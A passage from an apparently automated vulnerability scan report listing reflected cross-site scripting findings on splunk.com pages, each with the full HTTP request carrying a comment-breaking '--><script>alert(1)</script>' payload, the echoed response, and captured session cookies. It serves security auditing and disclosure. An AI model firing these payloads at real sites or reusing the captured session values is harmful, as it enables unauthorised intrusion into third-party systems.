__kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:34 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28863

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>538c614736d=1 -->
...[SNIP]...

4.552. http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/education/SP-CAAAAH9

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e2192--><script>alert(1)</script>66013bbc7fd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewe2192--><script>alert(1)</script>66013bbc7fd/education/SP-CAAAAH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:32 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:32 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>66013bbc7fd/education/SP-CAAAAH9 -->
...[SNIP]...

4.553. http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/education/SP-CAAAAH9

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d7aa4--><script>alert(1)</script>161bc2c26b9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/educationd7aa4--><script>alert(1)</script>161bc2c26b9/SP-CAAAAH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>161bc2c26b9/SP-CAAAAH9 -->
...[SNIP]...

4.554. http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/education/SP-CAAAAH9

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload e95e0--><script>alert(1)</script>69c3b0bc53e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/education/SP-CAAAAH9e95e0--><script>alert(1)</script>69c3b0bc53e HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:20:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:50:31 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:50:31 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>69c3b0bc53e -->
...[SNIP]...

4.555. http://www.splunk.com/view/education/SP-CAAAAH9 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/education/SP-CAAAAH9

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3c6ea--><script>alert(1)</script>1fb748c8ba6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/education/SP-CAAAAH9?3c6ea--><script>alert(1)</script>1fb748c8ba6=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:18:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27594

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1fb748c8ba6=1 -->
...[SNIP]...

4.556. http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/free-vs-enterprise/SP-CAAAE8W

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 123a7--><script>alert(1)</script>10f09601a12 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view123a7--><script>alert(1)</script>10f09601a12/free-vs-enterprise/SP-CAAAE8W HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:50 GMT; path=/
ETag: 90b014140829bf9e63f05a92223e9a5e1296944090
Last-Modified: Sat, 05 Feb 2011 22:14:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>10f09601a12/free-vs-enterprise/SP-CAAAE8W -->
...[SNIP]...

4.557. http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/free-vs-enterprise/SP-CAAAE8W

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 3ca33--><script>alert(1)</script>316fe5dd1dc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/free-vs-enterprise3ca33--><script>alert(1)</script>316fe5dd1dc/SP-CAAAE8W HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:25 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:25 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:25 GMT; path=/
ETag: b492f0c68842a737dbff2351eb9df2421296944125
Last-Modified: Sat, 05 Feb 2011 22:15:25 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>316fe5dd1dc/SP-CAAAE8W -->
...[SNIP]...

4.558. http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/free-vs-enterprise/SP-CAAAE8W

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload a5820--><script>alert(1)</script>487a5540161 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/free-vs-enterprise/SP-CAAAE8Wa5820--><script>alert(1)</script>487a5540161 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:58 GMT; path=/
ETag: d34176d21d537c8c2c4df1f7e1b712c51296944158
Last-Modified: Sat, 05 Feb 2011 22:15:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>487a5540161 -->
...[SNIP]...

4.559. http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/free-vs-enterprise/SP-CAAAE8W

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload c2629--><script>alert(1)</script>f078687f339 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/free-vs-enterprise/SP-CAAAE8W?c2629--><script>alert(1)</script>f078687f339=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:07 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 5eb647cce461672deb643d7a037770781296944048
Last-Modified: Sat, 05 Feb 2011 22:14:08 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24945

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f078687f339=1 -->
...[SNIP]...

4.560. http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/government/SP-CAAADSN

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 3e70c--><script>alert(1)</script>05babae2627 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view3e70c--><script>alert(1)</script>05babae2627/government/SP-CAAADSN HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:13 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:13 GMT; path=/
ETag: 265c00c3c71164968a855bbab00cdc151296944173
Last-Modified: Sat, 05 Feb 2011 22:16:13 GMT
